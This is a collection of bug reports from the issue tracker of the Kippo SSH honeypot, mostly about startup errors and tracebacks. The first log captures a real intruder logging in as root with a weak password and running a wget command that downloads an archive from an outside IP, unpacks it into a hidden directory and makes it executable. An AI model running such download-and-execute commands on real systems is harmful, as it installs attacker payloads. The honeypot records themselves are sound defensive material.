2011-03-04 10:05:11-0500 [HoneyPotTransport,8330,89.123.100.59] NEW KEYS
2011-03-04 10:05:11-0500 [HoneyPotTransport,8330,89.123.100.59] starting service ssh-userauth
2011-03-04 10:05:11-0500 [SSHService ssh-userauth on HoneyPotTransport,8330,89.123.100.59] root trying auth none
2011-03-04 10:05:11-0500 [SSHService ssh-userauth on HoneyPotTransport,8330,89.123.100.59] root trying auth keyboard-interactive
2011-03-04 10:05:14-0500 [SSHService ssh-userauth on HoneyPotTransport,8330,89.123.100.59] login attempt [root/123456] succeeded
2011-03-04 10:05:14-0500 [SSHService ssh-userauth on HoneyPotTransport,8330,89.123.100.59] root authenticated with keyboard-interactive
2011-03-04 10:05:14-0500 [SSHService ssh-userauth on HoneyPotTransport,8330,89.123.100.59] starting service ssh-connection
2011-03-04 10:05:14-0500 [SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] got channel session request
2011-03-04 10:05:14-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] channel open
2011-03-04 10:05:14-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] pty request: xterm (24L, 80L, 0L, 0L)
2011-03-04 10:05:14-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Terminal size: 24 80
2011-03-04 10:05:15-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] getting shell
2011-03-04 10:05:15-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Opening TTY log: log/tty/20110304-100515-7572.log
2011-03-04 10:05:17-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] CMD: w
2011-03-04 10:05:17-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Command found: w
2011-03-04 10:05:20-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] CMD: ps x
2011-03-04 10:05:20-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Command found: ps x
2011-03-04 10:05:33-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] CMD: cat /proc/cpuinfo
2011-03-04 10:05:33-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Command found: cat /proc/cpuinfo
2011-03-04 10:05:33-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Updating realfile to honeyfs//proc/cpuinfo
2011-03-04 10:05:40-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] CMD: wget http://208.75.230.43/driftkingdst/Stest.tgz ; tar zxvf Stest.tgz ; cd .s ; chmod +x *
2011-03-04 10:05:40-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Command found: wget http://208.75.230.43/driftkingdst/Stest.tgz
2011-03-04 10:05:40-0500 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,8330,89.123.100.59] Unhandled Error
Traceback (most recent call last):
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/python/context.py", line 59, in callWithContext
return self.currentContext().callWithContext(ctx, func, _args, *_kw)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/python/context.py", line 37, in callWithContext
return func(_args,__kw)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/conch/ssh/service.py", line 44, in packetReceived
return f(packet)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/conch/ssh/connection.py", line 243, in ssh_CHANNEL_DATA
log.callWithLogger(channel, channel.dataReceived, data)
--- ---
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, *_kw)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, _args, *_kw)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/python/context.py", line 59, in callWithContext
return self.currentContext().callWithContext(ctx, func, _args, *_kw)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/python/context.py", line 37, in callWithContext
return func(args,*kw)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/conch/ssh/session.py", line 106, in dataReceived
self.client.transport.write(data)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/conch/ssh/session.py", line 157, in write
self.proto.dataReceived(data)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/conch/insults/insults.py", line 431, in dataReceived
self.terminalProtocol.keystrokeReceived(ch, None)
File "/opt/kippo-0.5/kippo/core/honeypot.py", line 243, in keystrokeReceived
recvline.HistoricRecvLine.keystrokeReceived(self, keyID, modifier)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/conch/recvline.py", line 198, in keystrokeReceived
m()
File "/opt/kippo-0.5/kippo/core/honeypot.py", line 270, in handle_RETURN
return recvline.RecvLine.handle_RETURN(self)
File "/usr/lib/python2.4/site-packages/Twisted-10.2.0-py2.4-linux-i686.egg/twisted/conch/recvline.py", line 256, in handle_RETURN
...

Original issue: http://code.google.com/p/kippo/issues/detail?id=38

From alfonso.caponi on September 26, 2010 16:34:21

What steps will reproduce the problem? 1. using exit command What is the expected output? What do you see instead? Closing putty What version of the product are you using? On what operating system? svn version on ubuntu Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=22

From dustin.oakey on April 08, 2010 22:02:21

What steps will reproduce the problem? 1. install python,twisted,twisted-ssh and zope from emerge.
2. untar kippo
3. run start.sh What is the expected output? What do you see instead? Program won't start What version of the product are you using? On what operating system? kippo 0.4 on Gentoo linux Please provide any additional information below. I believe I have all the dependencies, but can't get kippo to start. Says
its missing the kippo.core module.

Th error is:
Starting kippo in
background.../usr/lib64/python2.6/site-packages/twisted/persisted/sob.py:12: DeprecationWarning:
the md5 module is deprecated; use hashlib instead
import os, md5, sys
/usr/lib64/python2.6/site-packages/twisted/python/filepath.py:12:
DeprecationWarning: the sha module is deprecated; use the hashlib module
instead
import sha
Traceback (most recent call last):
File "/usr/lib64/python2.6/site-packages/twisted/application/app.py",
line 694, in run
runApp(config)
File "/usr/lib64/python2.6/site-packages/twisted/scripts/twistd.py", line
23, in runApp
_SomeApplicationRunner(config).run()
File "/usr/lib64/python2.6/site-packages/twisted/application/app.py",
line 411, in run
self.application = self.createOrGetApplication()
File "/usr/lib64/python2.6/site-packages/twisted/application/app.py",
line 494, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "/usr/lib64/python2.6/site-packages/twisted/application/app.py",
line 505, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "/usr/lib64/python2.6/site-packages/twisted/application/service.py",
line 390, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "/usr/lib64/python2.6/site-packages/twisted/persisted/sob.py", line
214, in loadValueFromFile
exec fileObj in d, d
File "kippo.tac", line 16, in
from kippo.core import honeypot
exceptions.ImportError: No module named kippo.core

Failed to load application: No module named kippo.core

Original issue: http://code.google.com/p/kippo/issues/detail?id=3

From keinflughafen on June 05, 2011 14:23:57

What steps will reproduce the problem? running kippo, waiting for an attacker using an unknown script based on SSH-2.0-libssh-0.2 What version of the product are you using? On what operating system? kippo svn Please provide any additional information below. 2011-06-05 12:59:51+0200 [HoneyPotTransport,31,202.121.49.62] connection lost
2011-06-05 13:08:21+0200 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: 202.121.X.X:56950 (X.X.X.X:2222) [session: 32]
2011-06-05 13:08:22+0200 [HoneyPotTransport,32,202.121.X.X] Remote SSH version: SSH-2.0-libssh-0.2
2011-06-05 13:08:22+0200 [HoneyPotTransport,32,202.121.X.X] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2011-06-05 13:08:22+0200 [HoneyPotTransport,32,202.121.X.X] outgoing: aes256-cbc hmac-sha1 none
2011-06-05 13:08:22+0200 [HoneyPotTransport,32,202.121.X.X] incoming: aes256-cbc hmac-sha1 none
2011-06-05 13:08:23+0200 [HoneyPotTransport,32,202.121.X.X] NEW KEYS
2011-06-05 13:08:24+0200 [HoneyPotTransport,32,202.121.X.X] Disconnecting with error, code 2
reason: bad packet length 1562045508
2011-06-05 13:08:24+0200 [HoneyPotTransport,32,202.121.X.X] connection lost

Original issue: http://code.google.com/p/kippo/issues/detail?id=43

From [email protected] on April 11, 2010 16:13:50

What steps will reproduce the problem? 1. create kippo.cfg by renaming example
2. attempt to start with ./start.sh What is the expected output? What do you see instead? Expect program to start What version of the product are you using? On what operating system? Backtrack 4 (Ubuntu 8.10 based)

Appears to have dependencies:
Python 2.5.2
python2.5-dev
python-twisted-core
python-zopeinterface
Which are present on the box Please provide any additional information below. ./start.sh
Starting kippo in background...Traceback (most recent call last):
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
614, in run
runApp(config)
File "/usr/lib/python2.5/site-packages/twisted/scripts/twistd.py", line
23, in runApp
_SomeApplicationRunner(config).run()
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
330, in run
self.application = self.createOrGetApplication()
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
416, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
427, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "/usr/lib/python2.5/site-packages/twisted/application/service.py",
line 368, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "/usr/lib/python2.5/site-packages/twisted/persisted/sob.py", line
214, in loadValueFromFile
exec fileObj in d, d
File "kippo.tac", line 16, in
from kippo.core import honeypot
exceptions.ImportError: No module named kippo.core

Original issue: http://code.google.com/p/kippo/issues/detail?id=4

From jfbethlehem on June 15, 2010 15:10:57

What steps will reproduce the problem? 1. playlog 0
2. wait for attacker to use passwd or ssh or whatever
3. can't see password entered What is the expected output? What do you see instead? Would be nice to see a password as it is typed instead of having to jump into the logs. What version of the product are you using? On what operating system? svn latest Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=12

From jfbethlehem on June 18, 2010 17:01:23

What steps will reproduce the problem? 1. touch a/a/a/a/a/a/a
2. hang. 3. What is the expected output? What do you see instead? touch: cannot touch What version of the product are you using? On what operating system? latest svn Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=15

From zh4990 on August 23, 2010 21:50:45

What steps will reproduce the problem? 1. Install Twisted with 'pip install twisted'
2. Run Kippo.
3. Cry. What is the expected output? What do you see instead? Kippo should run. Instead, kippo dies because Twisted 10.1.0 removed the Entropy function that is being used in:

File "/home/developer/kippo-0.4/kippo/core/honeypot.py", line 335, in getRSAKeys
rsaKey = RSA.generate(KEY_LENGTH, common.entropy.get_bytes)

This is documented in the release notes of Twisted, as seen on https://launchpad.net/twisted/+download This is resolved by installing 10.0.0 via 'pip install Twisted==10.0.0'

Original issue: http://code.google.com/p/kippo/issues/detail?id=19

From sparkicks on April 26, 2011 03:48:12

What steps will reproduce the problem? 1. type .. (that's dot dot and press enter) after logging in when you get a shell.
2.server crashes 3. This crashed it 3 times and once it didn't... not too sure
What is the expected output?
a shell..

What do you see instead?
nothing

input still accepted and shown in log. the shell just doesn't get shown and commands aren't parsed. What version of the product are you using? On what operating system? linux 2.6.35-28-generic (ubuntu) python 2.6 Please provide any additional information below. Traceback (most recent call last):
File "/usr/lib/python2.6/dist-packages/twisted/python/context.py", line 59, in callWithContext
return self.currentContext().callWithContext(ctx, func, _args, *_kw)
File "/usr/lib/python2.6/dist-packages/twisted/python/context.py", line 37, in callWithContext
return func(_args,__kw)
File "/usr/lib/python2.6/dist-packages/twisted/conch/ssh/service.py", line 44, in packetReceived
return f(packet)
File "/usr/lib/python2.6/dist-packages/twisted/conch/ssh/connection.py", line 225, in ssh_CHANNEL_DATA
log.callWithLogger(channel, channel.dataReceived, data)
--- ---
File "/usr/lib/python2.6/dist-packages/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, *_kw)
File "/usr/lib/python2.6/dist-packages/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, _args, *_kw)
File "/usr/lib/python2.6/dist-packages/twisted/python/context.py", line 59, in callWithContext
return self.currentContext().callWithContext(ctx, func, _args, *_kw)
File "/usr/lib/python2.6/dist-packages/twisted/python/context.py", line 37, in callWithContext
return func(args,*kw)
File "/usr/lib/python2.6/dist-packages/twisted/conch/ssh/session.py", line 106, in dataReceived
self.client.transport.write(data)
File "/usr/lib/python2.6/dist-packages/twisted/conch/ssh/session.py", line 157, in write
self.proto.dataReceived(data)
File "/usr/lib/python2.6/dist-packages/twisted/conch/insults/insults.py", line 451, in dataReceived
self._handleLowFunctionControlSequence(ch)
File "/usr/lib/python2.6/dist-packages/twisted/conch/insults/insults.py", line 474, in _handleLowFunctionControlSequence
self.terminalProtocol.keystrokeReceived(keyID, None)
File "/home/kippo/kippo-0.5/kippo/core/honeypot.py", line 243, in keystrokeReceived
recvline.HistoricRecvLine.keystrokeReceived(self, keyID, modifier)
File "/usr/lib/python2.6/dist-packages/twisted/conch/recvline.py", line 199, in keystrokeReceived
elif keyID in string.printable:
exceptions.TypeError: 'in ' requires string as left operand, not _const

Original issue: http://code.google.com/p/kippo/issues/detail?id=40

From [email protected] on April 06, 2011 00:18:45

What steps will reproduce the problem? 1. install kippo svn 205
2. run ps x
3. disconnect if sshd: root@pts/0 doesn't show What is the expected output? What do you see instead? expect:
PID TTY STAT TIME COMMAND
4969 ? S 0:00 sshd: root@pts/0
5673 pts/0 Ss 0:00 -bash
5677 pts/0 R+ 0:00 ps x

see:
PID TTY TIME CMD
5673 pts/0 00:00:00 bash
5677 pts/0 00:00:00 ps x What version of the product are you using? On what operating system? svn 205 on ubuntu 10.10 Please provide any additional information below. I've actually seen several disconnects 'ps x' being run. I'm guessing they check for correct output or sshd running? patch udiff attached.

Attachment: ps_x.diff

Original issue: http://code.google.com/p/kippo/issues/detail?id=39

From cptnrd on January 24, 2011 10:37:08

Hi, I'm using kippo and I think it's great! Unfortunately, I have problems with some connections.

What is the expected output? What do you see instead?

This is what I find in the logs when attackers connect with malware apparently based on dropbear code ->

2011-01-23 xx:xx:x0+0100 [HoneyPotTransport,1,attacker.ip.addr] connection lost
2011-01-23 xx:xx:x2+0100 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: attacker.ip.addr:3137 (my.ip.addr:65022) [session: 2]
2011-01-23 xx:xx:x2+0100 [HoneyPotTransport,2,attacker.ip.addr] Remote SSH version: SSH-2.0-dropbear_0.49
2011-01-23 xx:xx:x2+0100 [HoneyPotTransport,2,attacker.ip.addr] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2011-01-23 xx:xx:x2+0100 [HoneyPotTransport,2,attacker.ip.addr] outgoing: aes128-cbc hmac-sha1 none
2011-01-23 xx:xx:x2+0100 [HoneyPotTransport,2,attacker.ip.addr] incoming: aes128-cbc hmac-sha1 none
2011-01-23 xx:xx:x4+0100 [HoneyPotTransport,2,attacker.ip.addr] NEW KEYS
2011-01-23 xx:xx:x4+0100 [HoneyPotTransport,2,attacker.ip.addr] starting service ssh-userauth
2011-01-23 xx:xx:x4+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] root trying auth none
2011-01-23 xx:xx:x4+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] root trying auth keyboard-interactive
2011-01-23 xx:xx:x4+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] login attempt [root/] failed
2011-01-23 xx:xx:x4+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] root failed auth keyboard-interactive
2011-01-23 xx:xx:x4+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] unauthorized login:
2011-01-23 xx:xx:x5+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] root trying auth keyboard-interactive
2011-01-23 xx:xx:x5+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] login attempt [root/] failed
2011-01-23 xx:xx:x5+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] root failed auth keyboard-interactive
2011-01-23 xx:xx:x5+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] unauthorized login:
2011-01-23 xx:xx:x5+0100 [SSHService ssh-userauth on HoneyPotTransport,2,attacker.ip.addr] root trying auth keyboard-interactive
(...this goeas on for ~20 more times - to often to be realistic )

It seems it can't get to authenticate. There should be a password after the " [root/]" part of the log.

Kippo works great with attackers using libssh ->

2011-01-23 yy:yy:y0+0100 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: some.attacking.ip:38519 (my.ip.addr:65022) [session: 9]
2011-01-23 yy:yy:y1+0100 [HoneyPotTransport,9,some.attacking.ip] Remote SSH version: SSH-2.0-libssh-0.1
2011-01-23 yy:yy:y1+0100 [HoneyPotTransport,9,some.attacking.ip] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2011-01-23 yy:yy:y1+0100 [HoneyPotTransport,9,some.attacking.ip] outgoing: aes256-cbc hmac-sha1 none
2011-01-23 yy:yy:y1+0100 [HoneyPotTransport,9,some.attacking.ip] incoming: aes256-cbc hmac-sha1 none
2011-01-23 yy:yy:y2+0100 [HoneyPotTransport,9,some.attacking.ip] NEW KEYS
2011-01-23 yy:yy:y2+0100 [HoneyPotTransport,9,some.attacking.ip] starting service ssh-userauth
2011-01-23 yy:yy:y2+0100 [SSHService ssh-userauth on HoneyPotTransport,9,some.attacking.ip] root trying auth password
2011-01-23 yy:yy:y2+0100 [SSHService ssh-userauth on HoneyPotTransport,9,some.attacking.ip] login attempt [root/123!@#] failed

What version of the product are you using? On what operating system?

I am using the current kippo 0.5 on a ubuntu 10.10 i386.

Please provide any additional information below.

I was tracking the attacker which uses the dropbear cased malware for some time with a specially rigged openssh daemon. The daemon logs the passwords that are tried. That's why I think kippo does not work correctly but the malware does - or does at least with a current openssh server.

Any hints as how to proceed are very welcome.

Regards
Andreas

Original issue: http://code.google.com/p/kippo/issues/detail?id=30

From init.conf on February 03, 2011 03:19:16

What steps will reproduce the problem? 1.I would like to know how to enable a non-root account and allow logins with specific passwords only ? What is the expected output? What do you see instead? instead of "root" account allow login from a "user" account What version of the product are you using? On what operating system? Linux Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=32

From zabomber on February 03, 2012 10:49:54

What steps will reproduce the problem? 1. I'm using Armitage for Metasploit
2. Run a simple scan against a Kippo Honeypot
3. Check output for scanned services on port (22) What is the expected output? What do you see instead? [See Screenshot Attached] What version of the product are you using? On what operating system? Please provide any additional information below. This was a random scan in the wild, however, i was real interested to get a kippo result?

Attachment: Screenshot at 2012-02-03 19:46:35.png

Original issue: http://code.google.com/p/kippo/issues/detail?id=48

From chrisjcox8 on March 20, 2010 00:31:22

After running ./start.sh, kippo exits with "Failed to load application:
'NoneType' object has no attribute 'get'." I've been able to reproduce this
issue on two Linux distributions, output is almost identical.

Debian Lenny 5.0.4
Python 2.5.2
Twisted 8.1.0
PyCrypto 2.0.1
Zope Interface 3.3.1

Ubuntu Karmic Koala 9.10
Python 2.6.4
Twisted 8.2.0
PyCrypto 2.0.1
Zope Interface 3.5.2

Debian output:

$ ./start.sh
Starting kippo in background...Traceback (most recent call last):
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
614, in run
runApp(config)
File "/usr/lib/python2.5/site-packages/twisted/scripts/twistd.py", line
23, in runApp
_SomeApplicationRunner(config).run()
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
330, in run
self.application = self.createOrGetApplication()
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
416, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "/usr/lib/python2.5/site-packages/twisted/application/app.py", line
427, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "/usr/lib/python2.5/site-packages/twisted/application/service.py",
line 368, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "/usr/lib/python2.5/site-packages/twisted/persisted/sob.py", line
214, in loadValueFromFile
exec fileObj in d, d
File "kippo.tac", line 20, in
factory.portal = portal.Portal(honeypot.HoneyPotRealm())
File "/tmp/kippo-0.4/kippo/core/honeypot.py", line 278, in init
self.env = HoneyPotEnvironment()
File "/tmp/kippo-0.4/kippo/core/honeypot.py", line 271, in init
self.cfg.get('honeypot', 'filesystem_file')))
exceptions.AttributeError: 'NoneType' object has no attribute 'get'

Failed to load application: 'NoneType' object has no attribute 'get'

Ubuntu output:

$ ./start.sh
Starting kippo in background.../tmp/kippo-0.4/kippo/commands/ping.py:6:
DeprecationWarning: the md5 module is deprecated; use hashlib instead
import time, re, random, md5
Traceback (most recent call last):
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
694, in run
runApp(config)
File "/usr/lib/python2.6/dist-packages/twisted/scripts/twistd.py", line
23, in runApp
_SomeApplicationRunner(config).run()
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
411, in run
self.application = self.createOrGetApplication()
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
494, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
505, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "/usr/lib/python2.6/dist-packages/twisted/application/service.py",
line 390, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "/usr/lib/python2.6/dist-packages/twisted/persisted/sob.py", line
215, in loadValueFromFile
exec fileObj in d, d
File "kippo.tac", line 20, in
factory.portal = portal.Portal(honeypot.HoneyPotRealm())
File "/tmp/kippo-0.4/kippo/core/honeypot.py", line 278, in init
self.env = HoneyPotEnvironment()
File "/tmp/kippo-0.4/kippo/core/honeypot.py", line 271, in init
self.cfg.get('honeypot', 'filesystem_file')))
exceptions.AttributeError: 'NoneType' object has no attribute 'get'

Failed to load application: 'NoneType' object has no attribute 'get'

Although not advised, I attempted to execute kippo with super user
privileges under Ubuntu. If it's of any use, I have also included the output:

$ sudo ./start.sh
[sudo] password for ******:
Starting kippo in background...Traceback (most recent call last):
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
694, in run
runApp(config)
File "/usr/lib/python2.6/dist-packages/twisted/scripts/twistd.py", line
23, in runApp
_SomeApplicationRunner(config).run()
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
411, in run
self.application = self.createOrGetApplication()
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
494, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line
505, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "/usr/lib/python2.6/dist-packages/twisted/application/service.py",
line 390, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "/usr/lib/python2.6/dist-packages/twisted/persisted/sob.py", line
215, in loadValueFromFile
exec fileObj in d, d
File "kippo.tac", line 16, in
from kippo.core import honeypot
exceptions.ImportError: No module named kippo.core

Failed to load application: No module named kippo.core

Original issue: http://code.google.com/p/kippo/issues/detail?id=2

From jfbethlehem on June 07, 2010 18:07:08

What steps will reproduce the problem? 1. Start up using ./start
2. Log in
3. Everything is logged using twistd and print What version of the product are you using? On what operating system? latest svn, Debian stable Please provide any additional information below. I've been trying to modify Kippo to be able to log to a database. I've
created a class that logs to sqlite (or mysql, file, etc). The commands get
logged nicely with two timestamps (login-time and command-time), IP address
and the string.
But connections don't get logged at all. I added the logging-facility to
the HoneypotPasswordChecker, but that refuses to give me an IP address or a
connection/login time.
Where can I find that information in the HoneypotPasswordChecker?

Original issue: http://code.google.com/p/kippo/issues/detail?id=10

From kenneth.buckler on October 12, 2011 05:17:49

WinSCP Transfers are not supported. Most likely all SFTP transfers are not supported.

See below logfile:

2011-10-11 17:53:31-0400 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: 188.76.246.77:1274 (192.168.1.165:22) [session: 16]
2011-10-11 17:53:32-0400 [HoneyPotTransport,16,188.76.246.77] Remote SSH version: SSH-2.0-WinSCP_release_5.0.2
2011-10-11 17:53:32-0400 [HoneyPotTransport,16,188.76.246.77] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2011-10-11 17:53:32-0400 [HoneyPotTransport,16,188.76.246.77] outgoing: aes256-ctr hmac-sha1 none
2011-10-11 17:53:32-0400 [HoneyPotTransport,16,188.76.246.77] incoming: aes256-ctr hmac-sha1 none
2011-10-11 17:53:33-0400 [HoneyPotTransport,16,188.76.246.77] NEW KEYS
2011-10-11 17:53:34-0400 [HoneyPotTransport,16,188.76.246.77] starting service ssh-userauth
2011-10-11 17:53:34-0400 [SSHService ssh-userauth on HoneyPotTransport,16,188.76.246.77] root trying auth none
2011-10-11 17:53:35-0400 [SSHService ssh-userauth on HoneyPotTransport,16,188.76.246.77] root trying auth keyboard-interactive
2011-10-11 17:53:35-0400 [SSHService ssh-userauth on HoneyPotTransport,16,188.76.246.77] login attempt [root/123456] succeeded
2011-10-11 17:53:35-0400 [SSHService ssh-userauth on HoneyPotTransport,16,188.76.246.77] root authenticated with keyboard-interactive
2011-10-11 17:53:35-0400 [SSHService ssh-userauth on HoneyPotTransport,16,188.76.246.77] starting service ssh-connection
2011-10-11 17:53:36-0400 [SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] got channel session request
2011-10-11 17:53:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] channel open
2011-10-11 17:53:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] unhandled request for [email protected]
2011-10-11 17:53:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] asking for subsystem "sftp"
2011-10-11 17:53:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] {}
2011-10-11 17:53:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] failed to get subsystem
2011-10-11 17:53:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] getting shell
2011-10-11 17:53:36-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] Opening TTY log: log/tty/20111011-175336-1852.log
2011-10-11 17:53:37-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] /etc/motd resolved into /etc/motd
2011-10-11 17:53:37-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] /var/run/motd resolved into /var/run/motd
2011-10-11 17:53:37-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] CMD: echo "WinSCP: this is end-of-file:0"
2011-10-11 17:53:37-0400 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,16,188.76.246.77] Command found: echo "WinSCP: this is end-of-file:0"
2011-10-11 17:55:45-0400 [HoneyPotTransport,16,188.76.246.77] connection lost

Original issue: http://code.google.com/p/kippo/issues/detail?id=44

From lordrich on November 21, 2010 16:02:41

What steps will reproduce the problem? 1. Make Kippo reachable with 'iptables -t nat -A PREROUTING -i IN_IFACE -p tcp --dport 22 -j REDIRECT --to-port HONEYPOT_PORT '
2. SSH in
3. Wget a file What is the expected output? What do you see instead? The file should be downloaded and made available. Instead I see "HTTP request sent, awaiting response... An error occurred while connecting: 22: Invalid argument." What version of the product are you using? On what operating system? Ubuntu 10.04 Server, Kippo 0.5

Original issue: http://code.google.com/p/kippo/issues/detail?id=27

From xinomilo on December 16, 2010 20:54:39

What steps will reproduce the problem? 1. following instructions on wiki for debian. 2. 3. What is the expected output? What do you see instead? output :
$ ./start.sh
Starting kippo in background.../usr/local/lib/python2.6/dist-packages/twisted/persisted/sob.py:13: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import os, md5, sys
Traceback (most recent call last):
File "/usr/local/bin/twistd", line 23, in
from twisted.scripts.twistd import run
File "/usr/local/lib/python2.6/dist-packages/twisted/scripts/twistd.py", line 8, in
from twisted.application import app, service
File "/usr/local/lib/python2.6/dist-packages/twisted/application/app.py", line 9, in
from twisted.persisted import sob
File "/usr/local/lib/python2.6/dist-packages/twisted/persisted/sob.py", line 22, in
from twisted.python import components, log, runtime
File "/usr/local/lib/python2.6/dist-packages/twisted/python/components.py", line 68, in
from zope.interface.adapter import AdapterRegistry
File "/usr/local/lib/python2.6/dist-packages/zope/interface/adapter.py", line 195
for with, objects in v.iteritems():
^
SyntaxError: invalid syntax What version of the product are you using? On what operating system? debian sid (dist-upgraded today 16/12/2010)
latest kippo 0.5 Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=29

From alfonso.caponi on July 25, 2010 22:44:23

What steps will reproduce the problem? 1. ./start.sh What is the expected output? What do you see instead? Starting kippo in background...Traceback (most recent call last):
File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line 694, in run
runApp(config)
